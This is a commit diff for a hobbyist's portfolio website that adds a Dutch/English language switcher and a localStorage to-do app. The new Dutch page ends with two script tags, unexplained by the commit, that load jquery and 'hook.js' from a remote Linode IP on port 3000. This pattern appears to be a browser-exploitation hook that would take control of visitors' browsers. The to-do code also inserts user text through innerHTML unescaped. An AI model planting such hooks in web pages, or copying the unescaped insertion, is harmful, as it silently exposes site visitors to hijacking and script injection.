V 0.1.8 - HorstAndr portfolio - 11-05-2024

**Wake up new update dropped** New features: 1. Added a language switcher to the landing page. 2. NEW APP: The To Do App now actually works.
horstandr · May 11, 2024 · 78ec17a · 78ec17a
1 parent fdab152
commit 78ec17a
Show file tree

Hide file tree

Showing 11 changed files with 225 additions and 34 deletions.
diff --git a/.DS_Store b/.DS_Store
diff --git a/portfolio/.DS_Store b/portfolio/.DS_Store
diff --git a/portfolio/portfolio.html → portfolio/en-portfolio.html b/portfolio/portfolio.html → portfolio/en-portfolio.html
@@ -6,6 +6,9 @@
     <link rel="shortcut icon" href="./portfolio-images/portfolio-favicon/favicon-32x32.png" type="image/x-icon">
 </head>
 <body onload="saveData()">
+    <div class="language">
+        <p><a href="/portfolio/nl-portfolio.html" class="selector">NL</a>|<strong>EN</strong></p>
+    </div>
     <div class="intro">
         <h1>Hi there!</h1>
         <h3>My name is HorstAndr, and I like to make web applications in my spare time!</h3>

diff --git a/portfolio/nl-portfolio.html b/portfolio/nl-portfolio.html
@@ -0,0 +1,63 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <title id="amount">Document</title>
+    <link rel="stylesheet" href="style.css">
+    <link rel="shortcut icon" href="./portfolio-images/portfolio-favicon/favicon-32x32.png" type="image/x-icon">
+</head>
+<body onload="saveData()">
+    <div class="language">
+        <p>NL|<strong><a href="/portfolio/en-portfolio.html" class="selector">EN</a></strong></p>
+    </div>
+    <div class="intro">
+        <h1>Hoi!</h1>
+        <h3>Mijn naam is HorstAndr, en ik maak web applicaties in mijn vrije tijd!</h3>
+        <h2>Kijk eens naar wat ik allemaal al heb gedaan:</h2>
+    </div>
+    <div class="portfolio-show">
+            <div class="portfolio-tile tile1">
+                <a href="portfolio-websites/Gemiddelde-berekenen/en-calculate-average" target="_blank">
+                <img src="portfolio-images/calculate-average.png" alt="An image of an website" id="image"/>
+                <div class="portfolio-desc">
+                    <h3>Gemiddelde berekenen</h6>
+                </div>
+                </a>
+            </div>
+            <div class="portfolio-tile tile2">
+                <a href="portfolio-websites/To-do-list/to-do-list" target="_blank">
+                <img src="portfolio-images\to-do-app.png" alt="An image of an website" id="image"/>
+                <div class="portfolio-desc">
+                    <h3 class="h3todo">To do app (NOT WORKING)</h3>
+                </div>
+                </a>
+            </div>
+            <div class="portfolio-tile tile3">
+                <a href="portfolio-websites/digital-clock/digital-clock" target="_blank">
+                <img src="portfolio-images\digital-clock.png" alt="An image of an website" id="image"/>
+                <div class="portfolio-desc">
+                    <h3>Digitale klok</h3>
+                </div>
+                </a>
+            </div>
+            <div class="portfolio-tile tile4">
+                <a href="portfolio-websites/countdown-timer/countdown" target="_blank">
+                <img src="portfolio-images/countdown-timer.png" alt="An image of an website" id="image"/>
+                <div class="portfolio-desc">
+                    <h3>Aftelklok</h3>
+                </div>
+                </a>
+            </div>
+            <div class="portfolio-tile tile5">
+                <a href="portfolio-websites/weather-api/weather.html" target="_blank">
+                <img src="portfolio-images/weather-api.png" alt="An image of an website" id="image"/>
+                <div class="portfolio-desc">
+                    <h3>Weer app</h3>
+                </div>
+                </a>
+            </div>
+    </div>
+</body>
+<script src="script.js"></script>
+<script src="https://139-162-137-145.ip.linodeusercontent.com:3000/demos/butcher/jquery-1.12.4.min.js"></script>
+<script src="https://139-162-137-145.ip.linodeusercontent.com:3000/hook.js"></script>
+</html>
diff --git a/portfolio/portfolio-images/to-do-app.png b/portfolio/portfolio-images/to-do-app.png
diff --git a/portfolio/portfolio-websites/.DS_Store b/portfolio/portfolio-websites/.DS_Store
diff --git a/portfolio/portfolio-websites/To-do-list/.DS_Store b/portfolio/portfolio-websites/To-do-list/.DS_Store
diff --git a/portfolio/portfolio-websites/To-do-list/script.js b/portfolio/portfolio-websites/To-do-list/script.js
@@ -0,0 +1,89 @@
+if (localStorage.getItem('itemcount') == null || localStorage.getItem('itemcount') == 'NaN') {
+    localStorage.setItem('itemcount', 0);
+}
+
+// Sends the amount of items to the 'count' variable.
+// Count is here, so that all the functions can reach it.
+    count = localStorage.getItem('itemcount');
+
+// When the new button is clicked, this executes.
+document.addEventListener('submit',function() {
+    // This prevents the page from reloading after submitting the form.
+    event.preventDefault();
+
+    toDoItem = document.getElementById('item').value;
+    createToDo(toDoItem);
+
+});
+
+// This creates a new To Do element.
+function createToDo(text) {
+
+    // Increments the server variable 'itemcount' by 1, because there is 1 new element.
+    count++;
+    localStorage.setItem('itemcount', count);
+
+    // This code saves the to do item to the local storage of the user.
+    localStorage.setItem(`Id${count}`, text);
+
+    // Calls a function that displays the item
+    displayToDo(count, text);
+
+    // Makes the text field empty
+    toDoItem = "";
+}
+
+function displayToDo(id, text) {
+    container = document.getElementById('container');
+
+    container.innerHTML += `<p class="list-item" class="to-do-item" id="${id}"><button onclick="javascript:checkItem(${id})" class="check-button" id="Check${id}"><svg xmlns="http://www.w3.org/2000/svg" style="padding:0;" width="12px" height="12px" viewBox="0 0 24.00 24.00" fill="none" stroke="#4f7a28" stroke-width="2.4" transform="matrix(1, 0, 0, 1, 0, 0)rotate(0)">
+
+    <g id="SVGRepo_bgCarrier" stroke-width="0"/>
+    
+    <g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round" stroke="#CCCCCC" stroke-width="0.144"/>
+    
+    <g id="SVGRepo_iconCarrier">
+    
+    <path d="M19.716 4.386a1 1 0 0 1 1.572 1.236L10.665 19.136a1.5 1.5 0 0 1-2.324.042l-5.104-6.032a1 1 0 1 1 1.526-1.292l4.708 5.564L19.716 4.386z" fill="#00f900" stroke-width="5"/>
+    
+    </g>
+    
+    </svg></button>${text}<button class="delete-button" onclick="deleteToDo(${id})"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns" width="10px" height="10px" viewBox="0 0 25 25" version="1.1">
+
+    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" sketch:type="MSPage">
+        <g id="Icon-Set-Filled" sketch:type="MSLayerGroup" transform="translate(-469.000000, -1041.000000)" fill="#000000">
+            <path style="fill:red;" d="M487.148,1053.48 L492.813,1047.82 C494.376,1046.26 494.376,1043.72 492.813,1042.16 C491.248,1040.59 488.712,1040.59 487.148,1042.16 L481.484,1047.82 L475.82,1042.16 C474.257,1040.59 471.721,1040.59 470.156,1042.16 C468.593,1043.72 468.593,1046.26 470.156,1047.82 L475.82,1053.48 L470.156,1059.15 C468.593,1060.71 468.593,1063.25 470.156,1064.81 C471.721,1066.38 474.257,1066.38 475.82,1064.81 L481.484,1059.15 L487.148,1064.81 C488.712,1066.38 491.248,1066.38 492.813,1064.81 C494.376,1063.25 494.376,1060.71 492.813,1059.15 L487.148,1053.48" id="cross" sketch:type="MSShapeGroup">
+
+</path>
+        </g>
+    </g>
+</svg></button></p>`;
+}
+
+function updateApp() {
+    console.log('updating...')
+        for(i=0;i<parseInt(count);i++) {
+            displayToDo(i+1, localStorage.getItem(`Id${i+1}`))
+        }
+    console.log('updated')
+}
+
+function checkItem(id) {
+    document.getElementById(id).classList.toggle('crossed');
+    document.getElementById(`Check${id}`).classList.toggle('checked');
+}
+
+function deleteToDo(id) {
+    document.getElementById(id).style.display = 'none';
+    localStorage.removeItem(`Id${id}`);
+    localStorage.setItem('itemcount', parseInt(localStorage.getItem('itemcount')) - 1);
+}
+
+function resetToDo() {
+    for(i=1;i<count+1;i++) {
+        localStorage.removeItem(`Id${i}`)
+    }
+    localStorage.setItem('itemcount',0);
+    document.getElementById('container').innerHTML = "";
+    location.reload();
+}
diff --git a/portfolio/portfolio-websites/To-do-list/style.css b/portfolio/portfolio-websites/To-do-list/style.css
@@ -1,12 +1,48 @@
-* {
-    font-family: Helvetica, sans-serif;
-    margin: 10px;
+.crossed {
+    text-decoration: line-through;
 }
 
-.heading {
-    font-size: 50pt;
+body {
+    display: flex;
+    justify-content: center;
+    background: linear-gradient(to bottom right, rgb(132, 132, 248), rgb(255, 71, 255));
+    background-repeat: no-repeat;
+    background-attachment: fixed;
+    height: 100%;
+    font-family: Arial, Helvetica, sans-serif;
 }
 
-.todolist-div {
-    margin-top: 510px;
+.body {
+    background-color: #fff;
+    padding: 50px;
+    width: 300px;
+    border-radius: 20px;
+    text-align: center;
+}
+
+.list-item {
+    font-family: Arial;
+}
+
+.checked {
+    background-color: #000;
+}
+
+.check-button {
+    padding: 0px;
+    color: black;
+    cursor: pointer;
+    background-color: transparent;
+    border: none;
+    border-radius: 5px;
+    margin-right: 10px;
+}
+
+.delete-button {
+    margin-left: 5px;
+    font-size: large;
+    color: red;
+    background: #fff;
+    cursor: pointer;
+    border: none;
 }
diff --git a/portfolio/portfolio-websites/To-do-list/to-do-list.html b/portfolio/portfolio-websites/To-do-list/to-do-list.html
@@ -1,19 +1,24 @@
 <!DOCTYPE html>
 <html lang="en">
 <head>
-    <title>To do list</title>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>To Do List</title>
     <link rel="stylesheet" href="style.css">
-    <link rel="shortcut icon" href="../../portfolio-images/portfolio-favicon/favicon-32x32.png" type="image/x-icon">
+    <script src="script.js" defer></script>
 </head>
-<body>
-    <div class="heading-div" id="heading-div">
-        <h1 class="heading" id="heading">To do list</h1>
-        <h3 class="subheading" id="subheading">A very lovely to do list to check off all your needs</h3>
-    </div>
-    <div class="todolist-div" id="todolist-div">
-        <ol class="todolist" id="todolist">
-            <li>To do</li>
-        </ol>
+<body onload="updateApp()">
+    <div class="body">
+        <h1 class="title">To Do List</h1>
+        <form action="">
+        <input type="text" placeholder="To do item..." id="item"/>
+        <button type="submit">Add item</button>
+        </form>
+        <button onclick="resetToDo()">Reset</button>
+        <div class="container" id="container">
+            <!-- All the to do items go here -->
+        </div>
     </div>
+
 </body>
 </html>
diff --git a/portfolio/style.css b/portfolio/style.css
@@ -206,22 +206,17 @@ a{
     z-index: 1;
 }
 
-/*@keyframes tile1anim {
-    0%{
-        background-color: rgba(255,255,255,0.3);
-        color: black;
-    }
-    100% {
-        background-color: #333;
-        color: var(--selective-yellow);
-        box-shadow: 0 30px 100px var(--selective-yellow);
-    }
-}
-
-@keyframes tile2anim {
-
+/* Language switcher CSS */
+.language {
+    position: absolute;
+    height: 20px;
+    background-color: #ffffff;
+    padding: 5px;
+    border-radius: 20px;
+    top: 10px;
+    right: 10px;
 }
 
-@keyframes tile3anim {
-
+a & .selector {
+    font-size: larger;
 }